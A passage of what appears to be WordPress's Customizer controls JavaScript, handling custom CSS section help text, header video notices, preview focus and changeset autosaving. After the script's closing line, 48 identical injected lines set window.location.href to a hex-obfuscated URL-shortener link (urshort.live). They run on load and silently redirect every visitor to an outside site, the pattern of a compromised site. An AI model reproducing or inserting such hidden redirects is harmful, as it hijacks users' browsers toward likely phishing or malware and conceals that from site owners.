9194 var sectionReady = $.Deferred();
9195
9196 api.section( 'custom_css', function( section ) {
9197 section.deferred.embedded.done( function() {
9198 if ( section.expanded() ) {
9199 sectionReady.resolve( section );
9200 } else {
9201 section.expanded.bind( function( isExpanded ) {
9202 if ( isExpanded ) {
9203 sectionReady.resolve( section );
9204 }
9205 } );
9206 }
9207 });
9208 });
9209
9210 // Set up the section description behaviors.
9211 sectionReady.done( function setupSectionDescription( section ) {
9212 var control = api.control( 'custom_css' );
9213
9214 // Hide redundant label for visual users.
9215 control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' );
9216
9217 // Close the section description when clicking the close button.
9218 section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() {
9219 section.container.find( '.section-meta .customize-section-description:first' )
9220 .removeClass( 'open' )
9221 .slideUp();
9222
9223 section.container.find( '.customize-help-toggle' )
9224 .attr( 'aria-expanded', 'false' )
9225 .focus(); // Avoid focus loss.
9226 });
9227
9228 // Reveal help text if setting is empty.
9229 if ( control && ! control.setting.get() ) {
9230 section.container.find( '.section-meta .customize-section-description:first' )
9231 .addClass( 'open' )
9232 .show()
9233 .trigger( 'toggled' );
9234
9235 section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' );
9236 }
9237 });
9238 })();
9239
9240 // Toggle visibility of Header Video notice when active state change.
9241 api.control( 'header_video', function( headerVideoControl ) {
9242 headerVideoControl.deferred.embedded.done( function() {
9243 var toggleNotice = function() {
9244 var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
9245 if ( ! section ) {
9246 return;
9247 }
9248 if ( headerVideoControl.active.get() ) {
9249 section.notifications.remove( noticeCode );
9250 } else {
9251 section.notifications.add( new api.Notification( noticeCode, {
9252 type: 'info',
9253 message: api.l10n.videoHeaderNotice
9254 } ) );
9255 }
9256 };
9257 toggleNotice();
9258 headerVideoControl.active.bind( toggleNotice );
9259 } );
9260 } );
9261
9262 // Update the setting validities.
9263 api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) {
9264 api._handleSettingValidities( {
9265 settingValidities: settingValidities,
9266 focusInvalidControl: false
9267 } );
9268 } );
9269
9270 // Focus on the control that is associated with the given setting.
9271 api.previewer.bind( 'focus-control-for-setting', function( settingId ) {
9272 var matchedControls = [];
9273 api.control.each( function( control ) {
9274 var settingIds = _.pluck( control.settings, 'id' );
9275 if ( -1 !== _.indexOf( settingIds, settingId ) ) {
9276 matchedControls.push( control );
9277 }
9278 } );
9279
9280 // Focus on the matched control with the lowest priority (appearing higher).
9281 if ( matchedControls.length ) {
9282 matchedControls.sort( function( a, b ) {
9283 return a.priority() - b.priority();
9284 } );
9285 matchedControls[0].focus();
9286 }
9287 } );
9288
9289 // Refresh the preview when it requests.
9290 api.previewer.bind( 'refresh', function() {
9291 api.previewer.refresh();
9292 });
9293
9294 // Update the edit shortcut visibility state.
9295 api.state( 'paneVisible' ).bind( function( isPaneVisible ) {
9296 var isMobileScreen;
9297 if ( window.matchMedia ) {
9298 isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches;
9299 } else {
9300 isMobileScreen = $( window ).width() <= 640;
9301 }
9302 api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' );
9303 } );
9304 if ( window.matchMedia ) {
9305 window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() {
9306 var state = api.state( 'paneVisible' );
9307 state.callbacks.fireWith( state, [ state.get(), state.get() ] );
9308 } );
9309 }
9310 api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) {
9311 api.state( 'editShortcutVisibility' ).set( visibility );
9312 } );
9313 api.state( 'editShortcutVisibility' ).bind( function( visibility ) {
9314 api.previewer.send( 'edit-shortcut-visibility', visibility );
9315 } );
9316
9317 // Autosave changeset.
9318 function startAutosaving() {
9319 var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false;
9320
9321 api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once.
9322
9323 function onChangeSaved( isSaved ) {
9324 if ( ! isSaved && ! api.settings.changeset.autosaved ) {
9325 api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in.
9326 api.previewer.send( 'autosaving' );
9327 }
9328 }
9329 api.state( 'saved' ).bind( onChangeSaved );
9330 onChangeSaved( api.state( 'saved' ).get() );
9331
9332 /**
9333 * Request changeset update and then re-schedule the next changeset update time.
9334 *
9335 * @since 4.7.0
9336 * @private
9337 */
9338 updateChangesetWithReschedule = function() {
9339 if ( ! updatePending ) {
9340 updatePending = true;
9341 api.requestChangesetUpdate( {}, { autosave: true } ).always( function() {
9342 updatePending = false;
9343 } );
9344 }
9345 scheduleChangesetUpdate();
9346 };
9347
9348 /**
9349 * Schedule changeset update.
9350 *
9351 * @since 4.7.0
9352 * @private
9353 */
9354 scheduleChangesetUpdate = function() {
9355 clearTimeout( timeoutId );
9356 timeoutId = setTimeout( function() {
9357 updateChangesetWithReschedule();
9358 }, api.settings.timeouts.changesetAutoSave );
9359 };
9360
9361 // Start auto-save interval for updating changeset.
9362 scheduleChangesetUpdate();
9363
9364 // Save changeset when focus removed from window.
9365 $( document ).on( 'visibilitychange.wp-customize-changeset-update', function() {
9366 if ( document.hidden ) {
9367 updateChangesetWithReschedule();
9368 }
9369 } );
9370
9371 // Save changeset before unloading window.
9372 $( window ).on( 'beforeunload.wp-customize-changeset-update', function() {
9373 updateChangesetWithReschedule();
9374 } );
9375 }
9376 api.bind( 'change', startAutosaving );
9377
9378 // Make sure TinyMCE dialogs appear above Customizer UI.
9379 $( document ).one( 'tinymce-editor-setup', function() {
9380 if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) {
9381 window.tinymce.ui.FloatPanel.zIndex = 500001;
9382 }
9383 } );
9384
9385 body.addClass( 'ready' );
9386 api.trigger( 'ready' );
9387 });
9388
9389})( wp, jQuery );
9390window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9391window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9392window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9393window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9394window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9395window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9396window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9397window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9398window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9399window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9400window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9401window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9402window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9403window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9404window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9405window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9406window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9407window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9408window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9409window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9410window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9411window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9412window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9413window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9414window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9415window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9416window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9417window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9418window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9419window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9420window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9421window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9422window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9423window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9424window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9425window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9426window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9427window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9428window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9429window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9430window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9431window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9432window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9433window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9434window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9435window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9436window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9437window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";